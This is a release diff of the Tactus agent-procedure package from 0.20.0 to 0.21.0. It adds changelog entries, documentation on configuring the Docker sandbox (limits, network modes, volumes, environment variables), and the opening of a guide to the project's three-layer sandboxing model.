- {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/cost_calculator.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/model_pricing.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/safe_file_library.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/safe_libraries.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/LuaLexerBase.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/LuaParserBase.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/error_listener.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.interp +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.tokens +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexerBase.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.interp +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.tokens +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParserBase.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParserVisitor.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/grammar/LuaLexer.g4 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/grammar/LuaParser.g4 +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/semantic_visitor.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/validator.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/.gitignore +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/RUN_ELECTRON.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/SETUP_COMPLETE.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/backend/hook-lupa.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/backend/tactus_backend.spec +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/package-lock.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/package.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/preload/preload.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/preload/tsconfig.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/rebuild-and-test.sh +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/scripts/build-backend.js +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/scripts/build-frontend.js +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/backend-manager.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/main.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/menu.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/tsconfig.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/ARCHITECTURE.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/CHANGELOG.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/DEV_MODE.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/QUICK_START.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/RESTART_INSTRUCTIONS.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/TROUBLESHOOTING.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/events.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/logging_capture.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/lsp_server.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/requirements.txt +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/tactus_lsp_handler.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/dev.sh +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/main.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/preview.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/vitest.setup.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/README.md +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/demo.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/index.html +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/jest.config.js +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/package.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/postcss.config.js +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/Editor.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/LSPClient.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/LSPClientHTTP.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/TactusLanguage.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/commands/registry.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/CheckpointSummary.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/CollapsibleRun.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Duration.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Duration.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/FileTree.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/FileTree.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsDisplay.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsDisplay.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsModal.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsModal.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureTab.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureTab.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResizeHandle.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResultsSidebar.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Timestamp.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Timestamp.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/TopMenuBar.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointDetails.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointDetails.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointList.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointList.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/DebuggerPanel.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/DebuggerPanel.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/RunSelector.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/RunSelector.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/StatisticsPanel.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/StatisticsPanel.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/AgentStreamingComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/BaseEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CostEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EvaluationEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EvaluationEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionSummaryEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionSummaryEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LoadingEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogCluster.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/OutputEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/OutputEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/TestEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/TestEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ToolCallEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ValidationEventComponent.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ValidationEventComponent.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/AgentsSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/EvaluationsSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/MetadataSections.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/OutputsSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/ParametersSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/SpecificationsSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/StagesSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/ToolsSection.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/EvaluateScenarios.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/RunScenarios.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/TestScenarios.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/ValidationScenarios.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/theme-provider.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/conversation.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/message.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/prompt-input.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/button.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/dialog.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/input.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/logo.stories.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/logo.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/menubar.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/scroll-area.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/separator.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/tabs.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/hooks/useTracing.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/index.css +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/lib/utils.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/main.tsx +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/metadata.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/results.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/tracing.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/TactusValidator.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/generated/LuaParser.interp +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/generated/LuaParser.tokens +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/types.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/vite-env.d.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tailwind.config.js +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tsconfig.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tsconfig.node.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/vite.config.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/vitest.shims.d.ts +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/package.json +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/start-dev.sh +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/test_lua_tools_adapter.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/test_plugins.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/cli/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/conftest.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_config_manager.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_determinism_safety.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_lua_sandbox_security.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_runtime_inputs.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_script_mode.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/dspy/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/dspy/test_streaming.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/fixtures/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/fixtures/test_mcp_server.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/integration/test_named_procedures.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/mocks/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/mocks/llm_mocks.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_retry_primitive.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_state_primitive.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_tool_primitive.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_toolset_dsl.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/test_loader.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/test_require_python.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/test_checkpoints_integration.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/test_tracing.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/conftest.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_e2e.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_gherkin_parser.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_integration.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_models.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_runtime_integration.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_step_registry.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/utils/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/utils/test_safe_file_library.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tests/validation/__init__.py +0 -0
- {tactus-0.20.0 → tactus-0.21.0}/tmp/langchain.db/topics_llm_cache.db +0 -0
|
@@ -2,6 +2,28 @@
|
|
|
2
2
|
|
|
3
3
|
<!-- version list -->
|
|
4
4
|
|
|
5
|
+
## v0.21.0 (2026-01-10)
|
|
6
|
+
|
|
7
|
+
### Bug Fixes
|
|
8
|
+
|
|
9
|
+
- Clarify summarization prompts are logged
|
|
10
|
+
([`1fbabee`](https://github.com/AnthusAI/Tactus/commit/1fbabeef3c6634fb9b2927e39a3e575f1074ff7d))
|
|
11
|
+
|
|
12
|
+
- Clarify template namespaces and rendering
|
|
13
|
+
([`b4b61c1`](https://github.com/AnthusAI/Tactus/commit/b4b61c15107a85c83c7646d347fafc3dd98943c3))
|
|
14
|
+
|
|
15
|
+
- Remove incompatible tests and skip deprecated YAML test
|
|
16
|
+
([`5960ed3`](https://github.com/AnthusAI/Tactus/commit/5960ed3580d958101dffca626c0d2cdd773e83be))
|
|
17
|
+
|
|
18
|
+
- Support message alias for agent calls
|
|
19
|
+
([`43c911b`](https://github.com/AnthusAI/Tactus/commit/43c911bd9ad8aa3be6b7f0751f044d25f40cd9fa))
|
|
20
|
+
|
|
21
|
+
### Chores
|
|
22
|
+
|
|
23
|
+
- Update .gitignore to include tmp/ directory
|
|
24
|
+
([`9871bae`](https://github.com/AnthusAI/Tactus/commit/9871baeaa0d0dd3a14861d1e88b329164f238a2f))
|
|
25
|
+
|
|
26
|
+
|
|
5
27
|
## v0.20.0 (2026-01-09)
|
|
6
28
|
|
|
7
29
|
|
|
@@ -93,6 +93,138 @@ default_model: "gpt-4o-mini"
|
|
|
93
93
|
|
|
94
94
|
**Security**: Sidecar files can contain file paths and command execution. Only use trusted sidecar files.
|
|
95
95
|
|
|
96
|
+
## Sandbox Configuration
|
|
97
|
+
|
|
98
|
+
Tactus runs procedures in Docker containers by default for security isolation. You can configure sandbox behavior at any configuration level (user, project, or sidecar).
|
|
99
|
+
|
|
100
|
+
### Basic Sandbox Settings
|
|
101
|
+
|
|
102
|
+
```yaml
|
|
103
|
+
# ~/.tactus/config.yml or .tactus/config.yml
|
|
104
|
+
sandbox:
|
|
105
|
+
enabled: true # Default: true (if Docker available)
|
|
106
|
+
image: "tactus-sandbox:local" # Docker image name (auto-built on first use)
|
|
107
|
+
timeout: 3600 # Max execution time in seconds (default: 1 hour)
|
|
108
|
+
mcp_servers_path: "~/.tactus/mcp-servers" # Path to MCP servers
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
**Note**: If Docker is unavailable and `enabled: true`, execution will fail with an error. Use `--no-sandbox` flag or `enabled: false` to explicitly run without isolation.
|
|
112
|
+
|
|
113
|
+
### Resource Limits
|
|
114
|
+
|
|
115
|
+
Control memory and CPU usage per container:
|
|
116
|
+
|
|
117
|
+
```yaml
|
|
118
|
+
sandbox:
|
|
119
|
+
limits:
|
|
120
|
+
memory: "2g" # Per-container memory limit (default: 2GB)
|
|
121
|
+
cpus: "2" # Per-container CPU cores (default: 2)
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
**Error handling**:
|
|
125
|
+
- Out of memory: Container killed with exit code 137
|
|
126
|
+
- Timeout exceeded: Container killed with exit code 124
|
|
127
|
+
|
|
128
|
+
### Network Configuration
|
|
129
|
+
|
|
130
|
+
Control network access for procedures:
|
|
131
|
+
|
|
132
|
+
```yaml
|
|
133
|
+
sandbox:
|
|
134
|
+
network: "bridge" # Network mode (default: bridge)
|
|
135
|
+
|
|
136
|
+
# Options:
|
|
137
|
+
# - "bridge": Default Docker bridge (allows outbound connections)
|
|
138
|
+
# - "none": No network access (most secure, but can't call LLM APIs)
|
|
139
|
+
# - "host": Use host network (not recommended for security)
|
|
140
|
+
# - "custom-network": Use a custom Docker network
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
**Security consideration**: Default `bridge` mode allows outbound connections (needed for LLM API calls), but agents could potentially exfiltrate data. See [Sandboxing Guide: Threat Model](./SANDBOXING.md#threat-model) for details.
|
|
144
|
+
|
|
145
|
+
### Volume Mounts
|
|
146
|
+
|
|
147
|
+
Mount host directories into the container:
|
|
148
|
+
|
|
149
|
+
```yaml
|
|
150
|
+
sandbox:
|
|
151
|
+
volumes:
|
|
152
|
+
- "/host/data:/data:ro" # Read-only mount
|
|
153
|
+
- "/host/outputs:/outputs:rw" # Read-write mount
|
|
154
|
+
- "/shared/config:/config:ro"
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
**Default mounts** (always included):
|
|
158
|
+
- Workspace: Temporary directory at `/workspace` (ephemeral, destroyed after run)
|
|
159
|
+
- MCP Servers: `~/.tactus/mcp-servers` at `/mcp-servers` (read-only)
|
|
160
|
+
|
|
161
|
+
### Environment Variables
|
|
162
|
+
|
|
163
|
+
Pass environment variables to the container:
|
|
164
|
+
|
|
165
|
+
```yaml
|
|
166
|
+
sandbox:
|
|
167
|
+
env:
|
|
168
|
+
CUSTOM_VAR: "value"
|
|
169
|
+
DEBUG: "true"
|
|
170
|
+
LOG_LEVEL: "info"
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Automatically passed through** (no configuration needed):
|
|
174
|
+
- `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GOOGLE_API_KEY`
|
|
175
|
+
- `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_DEFAULT_REGION`, `AWS_SESSION_TOKEN`
|
|
176
|
+
- `AZURE_OPENAI_API_KEY`, `AZURE_OPENAI_ENDPOINT`
|
|
177
|
+
|
|
178
|
+
### Per-Procedure Sandbox Configuration
|
|
179
|
+
|
|
180
|
+
Use sidecar files to customize sandbox settings per procedure:
|
|
181
|
+
|
|
182
|
+
**Example**: `financial_analysis.tac.yml`
|
|
183
|
+
```yaml
|
|
184
|
+
# Procedure-specific sandbox configuration
|
|
185
|
+
sandbox:
|
|
186
|
+
enabled: true
|
|
187
|
+
|
|
188
|
+
limits:
|
|
189
|
+
memory: "4g" # More memory for data-heavy processing
|
|
190
|
+
cpus: "4" # More CPU cores
|
|
191
|
+
|
|
192
|
+
timeout: 1800 # 30 minute timeout
|
|
193
|
+
|
|
194
|
+
network: "none" # No network access for sensitive data
|
|
195
|
+
|
|
196
|
+
volumes:
|
|
197
|
+
- "/data/financial:/data:ro" # Read-only financial data
|
|
198
|
+
- "/output/reports:/reports:rw" # Write reports here
|
|
199
|
+
|
|
200
|
+
env:
|
|
201
|
+
DATA_PATH: "/data"
|
|
202
|
+
OUTPUT_PATH: "/reports"
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Use cases for per-procedure sandbox configs**:
|
|
206
|
+
- Higher resource limits for data-intensive procedures
|
|
207
|
+
- Network isolation for procedures handling sensitive data
|
|
208
|
+
- Custom volume mounts for specific data sources
|
|
209
|
+
- Procedure-specific environment variables
|
|
210
|
+
|
|
211
|
+
### Disabling the Sandbox
|
|
212
|
+
|
|
213
|
+
To run without Docker isolation:
|
|
214
|
+
|
|
215
|
+
**Via CLI**:
|
|
216
|
+
```bash
|
|
217
|
+
tactus run procedure.tac --no-sandbox
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
**Via configuration**:
|
|
221
|
+
```yaml
|
|
222
|
+
sandbox:
|
|
223
|
+
enabled: false
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
**Security warning**: Running without sandbox removes OS-level isolation. Only disable for trusted procedures or development. See [Sandboxing Guide](./SANDBOXING.md) for security implications.
|
|
227
|
+
|
|
96
228
|
### Directory-Level Configuration
|
|
97
229
|
|
|
98
230
|
You can place `.tactus/config.yml` files in any directory to configure settings for procedures in that directory and subdirectories.
|
|
@@ -322,6 +454,7 @@ api_key = config.get("openai_api_key")
|
|
|
322
454
|
|
|
323
455
|
## See Also
|
|
324
456
|
|
|
457
|
+
- [Sandboxing & Security](SANDBOXING.md) - Security concepts and threat models
|
|
325
458
|
- [Tool Roadmap](TOOL_ROADMAP.md) - Information about tool loading
|
|
326
459
|
- [README](../README.md) - General Tactus documentation
|
|
327
460
|
- [Examples](../examples/) - Example procedures with sidecar configs
|
|
@@ -0,0 +1,499 @@
|
|
|
1
|
+
# Sandboxing & Security
|
|
2
|
+
|
|
3
|
+
Tactus provides **three layers of sandboxing** to protect against different threat models. This defense-in-depth approach makes Tactus safe for user-contributed code, secure for local development, and production-ready for multi-tenant AI systems.
|
|
4
|
+
|
|
5
|
+
## Overview: Three Layers of Protection
|
|
6
|
+
|
|
7
|
+
| Layer | Scope | Purpose | Default |
|
|
8
|
+
|-------|-------|---------|---------|
|
|
9
|
+
| **Lua Sandboxing** | Language-level | Safe execution of user-contributed agent code | Always on |
|
|
10
|
+
| **Docker Sandboxing** | OS-level | Isolate filesystem/network access during development | On (local) |
|
|
11
|
+
| **Cloud Sandboxing** | Per-invocation | Prevent information leakage between users | On (cloud) |
|
|
12
|
+
|
|
13
|
+
## Why Three Layers?
|
|
14
|
+
|
|
15
|
+
Each layer addresses a different security concern:
|
|
16
|
+
|
|
17
|
+
1. **Lua Sandboxing** protects your application from malicious agent code
|
|
18
|
+
2. **Docker Sandboxing** protects your development machine from agent filesystem/network access
|
|
19
|
+
3. **Cloud Sandboxing** protects users from each other in multi-tenant deployments
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
# Layer 1: Lua Sandboxing (Language-Level)
|
|
24
|
+
|
|
25
|
+
**Purpose:** Enable safe execution of community-contributed agent procedures.
|
|
26
|
+
|
|
27
|
+
## What It Protects Against
|
|
28
|
+
- Malicious Lua code attempting to escape the runtime
|
|
29
|
+
- Unauthorized access to Lua standard library functions
|
|
